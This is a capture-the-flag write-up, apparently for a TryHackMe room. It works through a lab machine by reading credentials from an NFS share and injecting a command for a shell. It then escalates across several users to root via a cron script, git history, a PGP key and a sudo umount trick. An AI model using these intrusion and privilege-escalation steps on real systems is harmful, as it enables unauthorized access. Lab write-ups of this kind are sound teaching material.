1. Scanning & Enumeration
We do the below scans in parallel.
1.1. Port Scanning
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e5:44:62:91:90:08:99:5d:e8:55:4f:69:ca:02:1c:10 (RSA)
| 256 e5:a7:b0:14:52:e1:c9:4e:0d:b8:1a:db:c5:d6:7e:f0 (ECDSA)
|_ 256 02:97:18:d6:cd:32:58:17:50:43:dd:d2:2f:ba:15:53 (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 34481/tcp6 mountd
| 100005 1,2,3 37413/udp6 mountd
| 100005 1,2,3 43347/udp mountd
| 100005 1,2,3 56545/tcp mountd
| 100021 1,3,4 34901/tcp6 nlockmgr
| 100021 1,3,4 46744/udp nlockmgr
| 100021 1,3,4 46749/tcp nlockmgr
| 100021 1,3,4 60804/udp6 nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
8080/tcp open http Werkzeug httpd 0.14.1 (Python 3.6.9)
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD
|_http-server-header: Werkzeug/0.14.1 Python/3.6.9
|_http-title: CCHQ
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Info gathered:
- SSH on 22 open
- HTTP on 8080 open
- NFS on 2049 open
1.2. Web Enumeration
Doing a basic enumeration, we get the pages: /cat
and /login
.
1.3. Web Exploration
The home page:
The login page:
I tried some basic SQLI attacks, but they did not work. Recall that we had the 2049 port open with NFS running. Let’s explore that first then.
1.4. NFS
Let’s see what all do we have:
┌──(kali㉿kali)-[~]
└─$ showmount --exports 10.10.80.121
Export list for 10.10.80.121:
/var/nfs/general *
Amazing! Looks like we can get something. Follow the steps to mount shares using NFS service:
- Go to
/tmp
on your machine. (Or wherever you want. I prefer/tmp
.) - Make a directory where the files of the other system would be mounted. Call it whatever you want.
- Mount the shares using
sudo mount --type nfs
. Make sure to sudo!
┌──(kali㉿kali)-[~]
└─$ /tmp
┌──(kali㉿kali)-[/tmp]
└─$ mkdir general
┌──(kali㉿kali)-[/tmp]
└─$ sudo mount --type nfs 10.10.80.121:/var/nfs/general general
[sudo] password for kali:
And we have successfully mounted the files shared using NFS. Let’s explore them.
┌──(kali㉿kali)-[/tmp]
└─$ cd general
┌──(kali㉿kali)-[/tmp/general]
└─$ ls
credentials.bak
┌──(kali㉿kali)-[/tmp/general]
└─$ cat credentials.bak
{username}
{password was here *nom* *nom* sorry what?}
And we get the credentials for the login!
2. Foothold
2.1. Getting RCE
We finally get in. We see a page where we can put payload.
It took me a lot of experimentation and time to get RCE. Here’s what I figured.
- Whatever you put in the payload gets echo-ed exactly as is, on the resultant page.
- There may be php or python3 or whatever program running.
- What if the input is not sanitised? How about using “;”?
- Trying out wow"; echo “bruh” - does not work.
- Checking for more, I get this page: OWASP Command Injection, how about “|” in the list?
I use reverse shells from Reverse Shell Generator.
BONUS:
- I tried other revshells: bash and the mkfifo one. Did not work.
- I tried using
&
and&&
. Also did not work.
2.2. Exploring
I like to check a couple of things when I first get in any machine:
- What all users exist?
- All files having SUID bits set
- crontab
- Kernel version
Users
$ cd /home
cd /home
$ ls
ls
paradox szymex tux varg
SUID bits
$ bash -i
bash -i
paradox@cchq:/home$ find / -type f -perm -u=s 2> /dev/null
find / -type f -perm -u=s 2> /dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/newgrp
/usr/bin/at
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/home/varg/CooctOS.py
/bin/ping
/bin/mount
/bin/su
/bin/umount
/bin/fusermount
/sbin/mount.nfs
One of them pops out!
paradox@cchq:/home$ ls -la /home/varg/CooctOS.py
ls -la /home/varg/CooctOS.py
-rwsrws--x 1 varg varg 2146 Feb 20 22:05 /home/varg/CooctOS.py
Kernel Version
paradox@cchq:~$ uname -a
uname -a
Linux cchq 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
Upto date.
crontab
paradox@cchq:~$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * szymex /home/szymex/SniffingCat.py
#
Last line looks very interesting.
2.3. Info Gathered
/home/szymex/SniffingCat.py
is running every minute, by the user szymex/home/varg/CooctOS.py
has SUID set Okay. We are ready for PrivEscs.
3. PrivEsc
3.1. szymex
Exploring inside szy, we get a file called note_to_para
and SniffingCat.py
.
paradox@cchq:/home/szymex$ cat note_to_para
cat note_to_para
Paradox,
I'm testing my new Dr. Pepper Tracker script.
It detects the location of shipments in real time and sends the coordinates to your account.
If you find this annoying you need to change my super secret password file to disable the tracker.
You know me, so you know how to get access to the file.
- Szymex
Looks like szy has some password there. Let’s open it up.
paradox@cchq:/home/szymex$ cat SniffingCat.py
cat SniffingCat.py
#!/usr/bin/python3
import os
import random
def encode(pwd):
enc = ''
for i in pwd:
if ord(i) > 110:
num = (13 - (122 - ord(i))) + 96
enc += chr(num)
else:
enc += chr(ord(i) + 13)
return enc
x = random.randint(300,700)
y = random.randint(0,255)
z = random.randint(0,1000)
message = "Approximate location of an upcoming Dr.Pepper shipment found:"
coords = "Coordinates: X: {x}, Y: {y}, Z: {z}".format(x=x, y=y, z=z)
with open('/home/szymex/mysupersecretpassword.cat', 'r') as f:
line = f.readline().rstrip("\n")
enc_pw = encode(line)
if enc_pw == "{encoded_password_was_here_mmm}":
os.system("wall -g paradox " + message)
os.system("wall -g paradox " + coords)
What’s happening here?
- Every minute (for eternity) the above script is run
- The script opens a
mysupersecretpassword.cat
file and checks if the thing put in can be encoded to be same. - We need to find the string that encodes as the above. Python3 scripting time!
Here’s what I came up with:
import string
def encode(pwd):
enc = ""
for i in pwd:
if ord(i) > 110:
num = (13 - (122 - ord(i))) + 96
enc += chr(num)
else:
enc += chr(ord(i) + 13)
return enc
ans = ""
for c in "{yee_haww}":
save = None
for x in string.printable:
save = x
if encode(x) == c:
break
ans += save
print(ans)
After cracking this, maybe we can try directly sudo-ing into szymex
?
paradox@cchq:~$ su szymex
su szymex
Password:
szymex@cchq:/home/paradox$ cd ~
cd ~
szymex@cchq:~$
Works!
3.2. tux
I was stuck here for a bit, before I tried id
.
szymex@cchq:~$ id
id
uid=1001(szymex) gid=1001(szymex) groups=1001(szymex),1004(testers)
testers
looks intersting. Let’s see what all do we have.
szymex@cchq:/home/varg$ find / -type f -group testers 2> /dev/null
find / -type f -group testers 2> /dev/null
/home/tux/tuxling_3/note
/home/tux/tuxling_1/nootcode.c
/home/tux/tuxling_1/note
/media/tuxling_2/private.key
/media/tuxling_2/note
/media/tuxling_2/fragment.asc
Woah. That’s a lotta files. Going through them,
Note 3:
Hi! Kowalski here.
I was practicing my act of disappearance so good job finding me.
Here take this,
The last fragment is: {wow3}
Combine them all and visit the station.
Note 1:
#include <stdio.h>
#define noot int
#define Noot main
#define nOot return
#define noOt (
#define nooT )
#define NOOOT "{hidden}"
#define NooT ;
#define Nooot nuut
#define NOot {
#define nooot key
#define NoOt }
#define NOOt void
#define NOOT "NOOT!\n"
#define nooOT "{hidden}"
#define noOT printf
#define nOOT 0
#define nOoOoT "What does the penguin say?\n"
#define nout "{hidden}"
noot Noot noOt nooT NOot
noOT noOt nOoOoT nooT NooT
Nooot noOt nooT NooT
nOot nOOT NooT
NoOt
NOOt nooot noOt nooT NOot
noOT noOt NOOOT nooOT nout nooT NooT
NoOt
NOOt Nooot noOt nooT NOot
noOT noOt NOOT nooT NooT
NoOt
Its C code, with a lot of #s. Compiling, we get:
┌──(kali㉿kali)-[/tmp]
└─$ ./a.out
What does the penguin say?
NOOT!
Not helpful. Although, looking at the source more closely, we can see some hex strings. They are in the line which I have translated below.
... printf *** **** *** ; ...
We get the first string!
Note 2:
szymex@cchq:/home/varg$ cat /media/tuxling_2/note
cat /media/tuxling_2/note
Noot noot! You found me.
I'm Rico and this is my challenge for you.
General Tux handed me a fragment of his secret key for safekeeping.
I've encrypted it with Penguin Grade Protection (PGP).
You can have the key fragment if you can decrypt it.
Good luck and keep on nooting!
Looks like we are looking at a pgp key.
szymex@cchq:~$ file /media/tuxling_2/fragment.asc
file /media/tuxling_2/fragment.asc
/media/tuxling_2/fragment.asc: PGP message Public-Key Encrypted Session Key (old)
I initially tried breaking it, but then I saw the /media/tuxling_2/private.key
file. Import the key and we are done!
szymex@cchq:~$ file /media/tuxling_2/fragment.asc
file /media/tuxling_2/fragment.asc
/media/tuxling_2/fragment.asc: PGP message Public-Key Encrypted Session Key (old)
szymex@cchq:~$ gpg --import /media/tuxling_2/private.key
gpg --import /media/tuxling_2/private.key
gpg: key B70EB31F8EF3187C: public key "TuxPingu" imported
gpg: key B70EB31F8EF3187C: secret key imported
gpg: Total number processed: 1
gpg: imported: 1
gpg: secret keys read: 1
gpg: secret keys imported: 1
szymex@cchq:~$ gpg --decrypt /media/tuxling_2/fragment.asc
gpg --decrypt /media/tuxling_2/fragment.asc
gpg: encrypted with 3072-bit RSA key, ID 97D48EB17511A6FA, created 2021-02-20
"TuxPingu"
The second key fragment is: {wow2}
We have all the fragments now! But now what? I tried breaking the cipher, but it didn’t work. What if it were a hash instead? Going to CrackStation we get the cracked hash!
3.3 varg
In this user I saw a .ssh
folder. Good news! Here’s how to ssh into the tux user.
- Go to ~/.ssh on your machine
- Get your id_rsa.pub
echo "{your_id_rsa.pub here} > authorized_keys"
- SSH in!
┌──(kali㉿kali)-[~/.ssh]
└─$ ssh tux@10.10.59.77
The authenticity of host '10.10.59.77 (10.10.59.77)' can't be established.
ECDSA key fingerprint is SHA256:7/RM1nMYqyZHC8ICXMcPUC3vIVlZuQab39ZsXs9Q+NI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.59.77' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-135-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Jun 23 06:55:44 UTC 2021
System load: 0.08 Processes: 118
Usage of /: 35.2% of 18.57GB Users logged in: 0
Memory usage: 66% IP address for eth0: 10.10.59.77
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
0 packages can be updated.
0 of these updates are security updates.
Last login: Mon Feb 22 18:43:28 2021
tux@cchq:~$
Exploring a bit, we see -
tux@cchq:/home/varg/cooctOS_src/games$ cat note
Hey Varg!
I've created a little game called Adventure.
If you like it, we could ship it with the OS when it's ready :)
- Tux
Game was nice (i got the easter egg too XD). But now what? There was a .git
directory that I missed. Checking it out, we have:
tux@cchq:/home/varg/cooctOS_src$ git log
commit 8b8daa41120535c569d0b99c6859a1699227d086 (HEAD -> master)
Author: Vargles <varg@cchq.noot>
Date: Sat Feb 20 15:47:21 2021 +0000
Removed CooctOS login script for now
commit 6919df5c171460507f69769bc20e19bd0838b74d
Author: Vargles <varg@cchq.noot>
Date: Sat Feb 20 15:46:28 2021 +0000
Created git repo for CooctOS
Maybe something was hidden in the later commits? Let’s see the diff.
+print("CooctOS 13.3.7 LTS cookie tty1")
+uname = input("\ncookie login: ")
+pw = input("Password: ")
+
+for i in range(0,2):
+ if pw != "{woah_not_so_fast_copy_cat_man}":
+ pw = input("Password: ")
+ else:
+ if uname == "varg":
+ os.setuid(1002)
+ os.setgid(1002)
+ pty.spawn("/bin/rbash")
+ break
+ else:
+ print("Login Failed")
+ break
Ah yes! We get the creds.
tux@cchq:/home/varg/cooctOS_src$ su varg
Password:
varg@cchq:~/cooctOS_src$ cd ~
varg@cchq:~$
3.4. root
I checked the sudo permissions:
varg@cchq:~$ sudo -l
Matching Defaults entries for varg on cchq:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User varg may run the following commands on cchq:
(root) NOPASSWD: /bin/umount
GTFOBins only mentioned that of /bin/mount
and not /bin/umount
. What next? Realise that we may have something intersting mounted :D
varg@cchq:~$ df -ha
...
/dev/mapper/ubuntu--vg-ubuntu--lv 19G 6.6G 12G 38% /opt/CooctFS
...
Here’s what happened:
- df reports file system disk space usage
- -h flag is human readable, because we did
- -a flag which displays everything
Going in however, we see only:
varg@cchq:/dev/mapper$ cd /opt/CooctFS
varg@cchq:/opt/CooctFS$ ls
bin boot etc games lib run tmp var
Its the same as what we saw before. But hold up! Recall the sudo
permissions to umount? Let’s do it!
varg@cchq:/opt/CooctFS$ sudo umount /opt/CooctFS
umount: /opt/CooctFS: target is busy.
varg@cchq:/opt/CooctFS$ cd /
varg@cchq:/$ sudo umount /opt/CooctFS
varg@cchq:/$ cd -
/opt/CooctFS
varg@cchq:/opt/CooctFS$ ls
root
Wait what happened here?
- We were allowed to run
sudo /bin/umount
or justsudo umount
without a password - The
/opt/CooctFS/root/
folder existed in the/opt/CooctFS/
folder beforehand - We were not able to see this because there was the other stuff listed out, which in effect, hid the
/root/
directory till we lifted the mount.
You can explore more on the linux mount what exactly was happening. Look for the bind
keyword! Thanks to @crazyjointje for the explaination and myiops#2207 for pointing out the bind
functionality (#room-hints, TryHackMe Discord).
Nice. Let’s see the contents -
varg@cchq:/opt/CooctFS$ cd root/
varg@cchq:/opt/CooctFS/root$ ls -la
total 28
drwxr-xr-x 5 root root 4096 Feb 20 09:16 .
drwxr-xr-x 3 root root 4096 Feb 20 09:09 ..
lrwxrwxrwx 1 root root 9 Feb 20 09:15 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Feb 20 09:09 .bashrc
drwx------ 3 root root 4096 Feb 20 09:09 .cache
drwxr-xr-x 3 root root 4096 Feb 20 09:09 .local
-rw-r--r-- 1 root root 43 Feb 20 09:16 root.txt
drwxr-xr-x 2 root root 4096 Feb 20 09:41 .ssh
varg@cchq:/opt/CooctFS/root$ cat root.txt
hmmm...
No flag here. You aren't root yet.
But … we have the .ssh
folder. Do you know dear reader, what that means? We can login as root! cat
the id_rsa
private key, copypaste it on your system
┌──(kali㉿kali)-[/tmp]
└─$ chmod 600 id_rsa
┌──(kali㉿kali)-[/tmp]
└─$ ssh -i id_rsa root@10.10.59.77
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-135-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Jun 23 07:25:01 UTC 2021
System load: 0.08 Processes: 125
Usage of /: 35.2% of 18.57GB Users logged in: 1
Memory usage: 63% IP address for eth0: 10.10.59.77
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
0 packages can be updated.
0 of these updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat Feb 20 22:22:12 2021 from 172.16.228.162
root@cchq:~#
And … we are done!